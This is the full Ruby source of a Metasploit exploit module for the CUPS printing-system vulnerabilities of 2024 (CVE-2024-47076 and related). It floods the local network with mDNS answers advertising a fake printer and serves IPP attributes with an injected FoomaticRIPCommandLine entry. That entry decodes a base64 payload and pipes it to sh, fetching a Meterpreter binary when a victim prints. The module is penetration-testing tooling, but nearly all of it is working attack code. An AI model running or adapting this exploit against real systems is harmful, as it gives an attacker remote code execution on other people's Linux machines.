CUPS IPP Attributes LAN Remote Code Execution

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Exploit::Remote::DNS::Common
include Exploit::Remote::SocketServer
include Msf::Exploit::Remote::HttpServer::HTML

# Accessor for IPP HTTP service
attr_accessor :service2

MULTICAST_ADDR = ‘224.0.0.251’

# Define IPP constants
module TagEnum
UNSUPPORTED_VALUE = 0x10

UNKNOWN_VALUE = 0x12
NO_VALUE = 0x13

# Integer types
INTEGER = 0x21
BOOLEAN = 0x22
ENUM = 0x23

# String types
OCTET_STR = 0x30
DATETIME_STR = 0x31
RESOLUTION = 0x32
RANGE_OF_INTEGER = 0x33
TEXT_WITH_LANGUAGE = 0x35
NAME_WITH_LANGUAGE = 0x36

TEXT_WITHOUT_LANGUAGE = 0x41
NAME_WITHOUT_LANGUAGE = 0x42
KEYWORD = 0x44
URI = 0x45
URI_SCHEME = 0x46
CHARSET = 0x47
NATURAL_LANGUAGE = 0x48
MIME_MEDIA_TYPE = 0x49
end

# Define IPP printer operations
module OperationEnum
# https://tools.ietf.org/html/rfc2911#section-4.4.15
PRINT_JOB = 0x0002
VALIDATE_JOB = 0x0004
CANCEL_JOB = 0x0008
GET_JOB_ATTRIBUTES = 0x0009
GET_JOBS = 0x000a
GET_PRINTER_ATTRIBUTES = 0x000b

# 0x4000 – 0xFFFF is for extensions
# CUPS extensions listed here:
# https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html
CUPS_GET_DEFAULT = 0x4001
CUPS_LIST_ALL_PRINTERS = 0x4002
end

module JobStateEnum
# https://tools.ietf.org/html/rfc2911#section-4.3.7
PENDING = 3 # AKA “IDLE”
PENDING_HELD = 4
PROCESSING = 5
PROCESSING_STOPPED = 6
CANCELED = 7
ABORTED = 8
COMPLETED = 9
end

# Define IPP section constants
module SectionEnum
SECTIONS = 0x00
SECTIONS_MASK = 0xf0
OPERATION = 0x01
JOB = 0x02
ENDTAG = 0x03 # Changed from END
PRINTER = 0x04
UNSUPPORTED = 0x05
end

class MulticastComm < Rex::Socket::Comm::Local
# hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)
# without this in place, the module won’t work on a system with multiple network interfaces
def self.create_by_type(param, type, proto = 0)
socket = super
socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)

membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new(‘0.0.0.0’).hton
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)
socket
end

end

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘CUPS IPP Attributes LAN Remote Code Execution’,
‘Description’ => %q{
This module exploits vulnerabilities in OpenPrinting CUPS, which is running by
default on most Linux distributions. The vulnerabilities allow an attacker on
the LAN to advertise a malicious printer that triggers remote code execution
when a victim sends a print job to the malicious printer. Successful exploitation
requires user interaction, but no CUPS services need to be reachable via accessible
ports. Code execution occurs in the context of the lp user. Affected versions
are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and
cups-filters <= 2.0.1.
},
‘Author’ => [
# Original researcher
‘Simone Margaritelli’,
# Public exploit
‘Rick de Jager’,
# IPP server implementation based on Python’s ipp-server
‘David Batley’,
# mDNS functionality
‘Spencer McIntyre’,
‘RageLtMan <rageltman[at]sempervictus>’,
# Metasploit module
‘Ryan Emmons’
],
‘License’ => MSF_LICENSE,
‘References’ => [
# The relevant CUPS CVE identifiers
[‘CVE’, ‘2024-47076’],
[‘CVE’, ‘2024-47175’],
[‘CVE’, ‘2024-47177’],
[‘CVE’, ‘2024-47176’],
# The initial researcher publication
[‘URL’, ‘https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/’],
# The public exploit this module was inspired by
[‘URL’, ‘https://github.com/RickdeJager/cupshax’],
# The cups-browsed GitHub security advisory
[‘URL’, ‘https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8’],
# The libcupsfilters GitHub security advisory
[‘URL’, ‘https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5’],
# The libppd GitHub security advisory
[‘URL’, ‘https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6’],
# The cups-filters GitHub security advisory
[‘URL’, ‘https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47’],
# The IPP server implementation this module is based on
[‘URL’, ‘https://github.com/h2g2bob/ipp-server/’]],
# Executes as ‘lp’ on most Linux distributions
‘Privileged’ => false,
‘Targets’ => [[‘Default’, {}]],
‘Platform’ => %w[linux unix],
‘Arch’ => [ARCH_CMD],
‘DefaultOptions’ => {
‘FETCH_COMMAND’ => ‘WGET’,
‘FETCH_WRITABLE_DIR’ => ‘/var/tmp’
},
‘Stance’ => Msf::Exploit::Stance::Passive,
‘DefaultAction’ => ‘Service’,
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-09-26’,
‘Notes’ => {
# There’s a small chance the fake printer may flag as “broken” after one execution
# If this happens, other victims on the LAN will still be susceptible to code execution
# However, this *shouldn’t* happen :)
‘Stability’ => [CRASH_SAFE],
# Requires a user to send a print job to the malicious printer to trigger RCE
‘Reliability’ => [EVENT_DEPENDENT],
‘SideEffects’ => [
# /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name
# /var/log/cups/access_log will contain the IPP server details and printer name
IOC_IN_LOGS,
# The /tmp directory will likely contain a file called “foomatic-” + five random characters
# This file is a PDF owned by ‘lp’, and it’s the content that the victim user tried to print
ARTIFACTS_ON_DISK
]}
)
)

register_options(
[
OptString.new(‘PrinterName’, [true, ‘The printer name’, ‘PrintToPDF’], regex: /^[a-zA-Z0-9_ ]+$/),
OptAddress.new(‘SRVHOST’, [true, ‘The local host to listen on (cannot be 0.0.0.0)’]),
OptPort.new(‘SRVPORT’, [true, ‘The local port for the IPP service’, 7575])
])
end

def validate
super

if Rex::Socket.is_ip_addr?(datastore[‘SRVHOST’]) && Rex::Socket.addr_atoi(datastore[‘SRVHOST’]) == 0
raise Msf::OptionValidateError.new({ ‘SRVHOST’ => ‘The SRVHOST option must be set to a routable IP address.’ })
end

# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that’s configured
unless _determine_server_comm(datastore[‘SRVHOST’]) == Rex::Socket::Comm::Local
raise Msf::OptionValidateError.new({ ‘SRVHOST’ => ‘SRVHOST can not be forwarded via a session.’ })
end
end

#
# Wrapper for service execution and cleanup
#
def exploit
@printer_uuid = SecureRandom.uuid
start_mdns_service
start_ipp_service
print_status(“Services started. Printer ‘#{datastore[‘PrinterName’]}’ is being advertised”)
service.wait
rescue Rex::BindFailed => e
print_error “Failed to bind to port: #{e.message}”
end

# mDNS code below
def start_mdns_service
self.service = Rex::ServiceManager.start(
Rex::Proto::MDNS::Server,
‘0.0.0.0’,
5353,
false,
nil,
MulticastComm,
{ ‘Msf’ => framework, ‘MsfExploit’ => self }
)

service.dispatch_request_proc = proc do |cli, data|
on_dispatch_mdns_request(cli, data)
end
service.send_response_proc = proc do |cli, data|
on_send_mdns_response(cli, data)
end
rescue ::Errno::EACCES => e
raise Rex::BindFailed, e.message
end

def create_ipp_response(version_major, version_minor, request_id)
# Printer attributes
attributes = {}

# Creating an MVP (“Minimum Viable Printer”)

# charset
attributes[[SectionEnum::PRINTER, ‘attributes-configured’, TagEnum::CHARSET]] = [‘utf-8’]

# charset
attributes[[SectionEnum::PRINTER, ‘attributes-supported’, TagEnum::CHARSET]] = [‘utf-8’]

# keyword
attributes[[SectionEnum::PRINTER, ‘compression-supported’, TagEnum::KEYWORD]] = [‘none’]

# mimeMediaType
attributes[[SectionEnum::PRINTER, ‘document-format-default’, TagEnum::MIME_MEDIA_TYPE]] = [‘application/pdf’]

# mimeMediaType
attributes[[SectionEnum::PRINTER, ‘document-format-supported’, TagEnum::MIME_MEDIA_TYPE]] = [‘application/pdf’]

# naturalLanguage
attributes[[SectionEnum::PRINTER, ‘generated-natural-language-supported’, TagEnum::NATURAL_LANGUAGE]] = [‘en’]

# keyword
attributes[[SectionEnum::PRINTER, ‘ipp-versions-supported’, TagEnum::KEYWORD]] = [‘1.1’]

# keyword
attributes[[SectionEnum::PRINTER, ‘media-default’, TagEnum::KEYWORD]] = [‘iso_a4_210x297mm’]

# keyword
attributes[[SectionEnum::PRINTER, ‘media-supported’, TagEnum::KEYWORD]] = [‘iso_a4_210x297mm’]

# keyword
attributes[[SectionEnum::PRINTER, ‘media-type’, TagEnum::KEYWORD]] = [‘stationery’]

enc_payload = Rex::Text.encode_base64(payload.encoded)

# 1setOf keyword
attributes[[SectionEnum::PRINTER, ‘media-type-supported’, TagEnum::KEYWORD]] = [
‘stationery’,
# Here’s our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server
“: HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \”application/vnd.cups-pdf application/pdf 0 foomatic-rip\”\n*%”
]

# naturalLanguage
attributes[[SectionEnum::PRINTER, ‘natural-language-configured’, TagEnum::NATURAL_LANGUAGE]] = [‘en’]

# 1setOf enum
attributes[[SectionEnum::PRINTER, ‘document-format-supported’, TagEnum::ENUM]] = [
OperationEnum::PRINT_JOB,
OperationEnum::VALIDATE_JOB,
OperationEnum::CANCEL_JOB,
OperationEnum::GET_JOB_ATTRIBUTES,
OperationEnum::GET_PRINTER_ATTRIBUTES
]

# keyword
attributes[[SectionEnum::PRINTER, ‘pdl-override-supported’, TagEnum::KEYWORD]] = [‘not-attempted’]

# textWithoutLanguage
attributes[[SectionEnum::PRINTER, ‘printer-info’, TagEnum::TEXT_WITHOUT_LANGUAGE]] = [‘Printer’]

# textWithoutLanguage
attributes[[SectionEnum::PRINTER, ‘printer-make-and-model’, TagEnum::TEXT_WITHOUT_LANGUAGE]] = [‘Printer 1.00’]

# nameWithoutLanguage
attributes[[SectionEnum::PRINTER, ‘printer-name’, TagEnum::NAME_WITHOUT_LANGUAGE]] = [‘Printer’]

# enum
attributes[[SectionEnum::PRINTER, ‘printer-state’, TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE

# keyword
attributes[[SectionEnum::PRINTER, ‘printer-state-reasons’, TagEnum::KEYWORD]] = [‘none’]

# integer
attributes[[SectionEnum::PRINTER, ‘pdl-override-supported’, TagEnum::INTEGER]] = [Time.now.to_i]

# uri
attributes[[SectionEnum::PRINTER, ‘printer-uri-supported’, TagEnum::URI]] = [‘ipp://localhost:631/printer’]

# keyword
attributes[[SectionEnum::PRINTER, ‘uri-authentication-supported’, TagEnum::KEYWORD]] = [‘none’]

# keyword
attributes[[SectionEnum::PRINTER, ‘uri-security-supported’, TagEnum::KEYWORD]] = [‘none’]

# Create response, imitating ipp-server’s ‘to_file’ function

# Pack the version
response = [version_major, version_minor].pack(‘C*’)

# Pack the 2-byte status code
response << [0x0000].pack(‘n’)

# Pack the 4-byte request ID
response << [request_id].pack(‘N’)

# Group the above defined attributes by section (we use the PRINTER section for the payload)
attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|
response << [section].pack(‘C’)

attrs_in_section.each do |key, values|
_section, name, tag = key
values.each_with_index do |value, i|
response << [tag].pack(‘C’)
if i == 0
response << [name.length].pack(‘n’)
response << name
else
response << [0].pack(‘n’)
end

# Make sure non-string values work by packing as four bytes (should work for all ints)
if value.is_a?(Integer)
response << [4].pack(‘n’)
response << [value].pack(‘N’)
else
# Packing strings
response << [value.length].pack(‘n’)
response << value
end
end
end
end

# Close out attributes with an ENDTAG
response << [SectionEnum::ENDTAG].pack(‘C’)

response
end

#
# IPP servers communicate using a binary protocol via HTTP
#
def start_ipp_service
# Start the IPP web service
self.service2 = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
srvport,
srvhost,
false,
{ ‘Msf’ => framework, ‘MsfExploit’ => self },
Rex::Socket::Comm::Local
)

# Register a route for queries to the printer
service2.add_resource(‘/ipp/print’,
‘Proc’ => proc do |cli, req|
case req.method
# Some printers perform an initial GET request before the exploitable POST request
# We serve up agreeable placeholder data for that initial request
when ‘GET’
# Send HTTP response data
ppd_content = ppd_out
send_response(cli, ppd_content,
‘Content-Type’ => ‘application/postscript’)

# When the victim system interacts with our printer, a POST request will be received
when ‘POST’
# When VERBOSE is true, all request bytes will be printed
vprint_status(“Received IPP request: #{req.body.bytes.map do |b|
format(‘%02x’, b)
end.join(‘ ‘)}”)
data = req.body.bytes
return if data.length < 8

# Extract version, operation, and request ID from the request to print in VERBOSE mode
version_major = data[0]version_minor = data[1]operation_id = (data[2] << 8) | data[3]request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]

vprint_status(“IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}”)

# Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload
response = create_ipp_response(version_major, version_minor, request_id)

send_response(cli, response,
‘Content-Type’ => ‘application/ipp’,
‘Content-Length’ => response.length.to_s)
end
rescue StandardError => e
vprint_error(‘An error occurred while processing an IPP request’)
vprint_error(“IPP Error is #{e.class} – #{e.message}”)
vprint_error(e.backtrace.join(“\n”).to_s)
raise e
end,
‘Path’ => ‘/ipp/print’)

print_status(“IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}”)
rescue Rex::BindFailed => e
vprint_error(“Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}”)
raise e
end

#
# Printer info for victim systems that require an initial GET request.
#
def ppd_out
<<~PPD
*PPD-Adobe: “4.3”
*FormatVersion: “4.3”
*FileVersion: “1.0”
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: “#{datastore[‘PrinterName’]}.PPD”
*Manufacturer: “#{datastore[‘PrinterName’]}”
*Product: “(#{datastore[‘PrinterName’]})”
*ModelName: “#{datastore[‘PrinterName’]}”
*ShortNickName: “#{datastore[‘PrinterName’]}”
*NickName: “#{datastore[‘PrinterName’]}”
*PSVersion: “(3010.000) 0”
*LanguageLevel: “3”
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: “1”
*LandscapeOrientation: Plus90
*TTRasterizer: Type42
*cupsVersion: 1.4
*cupsModelNumber: 1
*cupsManualCopies: True
*cupsFilter: “application/vnd.cups-postscript 0 -“
*cupsFilter: “application/vnd.cups-pdf 0 -“
*OpenUI *PageSize/Media Size: PickOne
*DefaultPageSize: Letter
*PageSize Letter: “<</PageSize[612 792]/ImagingBBox null>>setpagedevice”
*CloseUI: *PageSize
*DefaultImageableArea: Letter
*ImageableArea Letter: “0 0 612 792”
*DefaultPaperDimension: Letter
*PaperDimension Letter: “612 792”
PPD
end

#
# Creates Proc to handle incoming requests
#
def on_dispatch_mdns_request(cli, data)
# Handle empty mDNS data
return if data.strip.empty?

# Encode the incoming packet as a Dnsruby message
req = Packet.encode_drb(data)

# Ignore responses
return if req.header.qr

# Print the incoming request in VERBOSE mode (will produce a lot of output)
peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
asked = req.question.map(&:qname).map(&:to_s).join(‘, ‘)
vprint_status(“Received request for #{asked} from #{peer}”)

# Assign printer name variables for mDNS responses
printer_name = datastore[‘PrinterName’]printer_name_no_space = printer_name.gsub(/ /, ”)
ipp_printer_name = “#{printer_name_no_space}._ipp._tcp.local”

# A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries
# However, that requires the victim to search for new printers, which doesn’t happen on most systems during a print dialog (it requires Settings->Printers->”Add Printer” on Ubuntu)
# Also, different distributions seem to have different flows for that, which made the approach unreliable
# So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim’s printer list with our malicious printer
return unless req.question.first

# PTR record
req.add_answer(Dnsruby::RR.create(
name: ‘_ipp._tcp.local.’,
type: ‘PTR’,
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
# Since we’re spraying advertisements in response to everything, low TTL shouldn’t be an issue
ttl: 30,
domainname: “#{ipp_printer_name}.”
))
# A record for our printer
# All of these answers seem to need to be additional record answers, not just answers
req.add_additional(Dnsruby::RR.create(
name: “#{printer_name_no_space}.local.”,
type: ‘A’,
ttl: 30,
# The IP address of our malicious HTTP IPP service
address: datastore[‘SRVHOST’]))

# SRV record
req.add_additional(Dnsruby::RR.create(
name: “#{ipp_printer_name}.”,
type: ‘SRV’,
ttl: 30,
priority: 0,
weight: 0,
# The port of our malicious HTTP IPP service
port: datastore[‘SRVPORT’],
target: “#{printer_name_no_space}.local.”
))

# TXT record
req.add_additional(Dnsruby::RR.create(
name: “#{ipp_printer_name}.”,
type: ‘TXT’,
ttl: 30
).tap do |rr|
rr.strings = [
‘txtvers=1’,
‘qtotal=1’,
‘rp=ipp/print’,
“ty=#{printer_name}”,
‘pdl=application/postscript,application/pdf’,
# The “adminurl” value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
“adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}”,
‘priority=0’,
‘color=T’,
‘duplex=T’,
# Unique UUID to avoid printer collision from multiple runs with the same configuration
“UUID=#{@printer_uuid}”
]end)

# NSEC record, seems to be required, should be additional answer type
req.add_additional(Dnsruby::RR.create(
name: “#{ipp_printer_name}.”,
type: ‘NSEC’,
ttl: 30,
next_domain: “#{ipp_printer_name}.”,
types: ‘AAAA’
))

# Indicate our mDNS message is a query response
req.header.qr = 1
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
# https://datatracker.ietf.org/doc/html/rfc6762
req.header.aa = 1

# Clear questions and update counts for our response
req.question.clear
req.update_counts

# Encode and send response
response_data = Packet.generate_response(req).encode

service.send_response(cli, response_data)
end

#
# Creates Proc to handle outbound responses
#
def on_send_mdns_response(cli, data)
# Log to console in VERBOSE mode, then write response
vprint_status(“Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}”)
cli.write(data)
end

def cleanup
super

if service2
# Remove the IPP resource before stopping the HTTP service
service2.remove_resource(‘/ipp/print’)
service2.stop
self.service2 = nil
end

return unless service

# Stop the mDNS service
service.stop
self.service = nil
end
end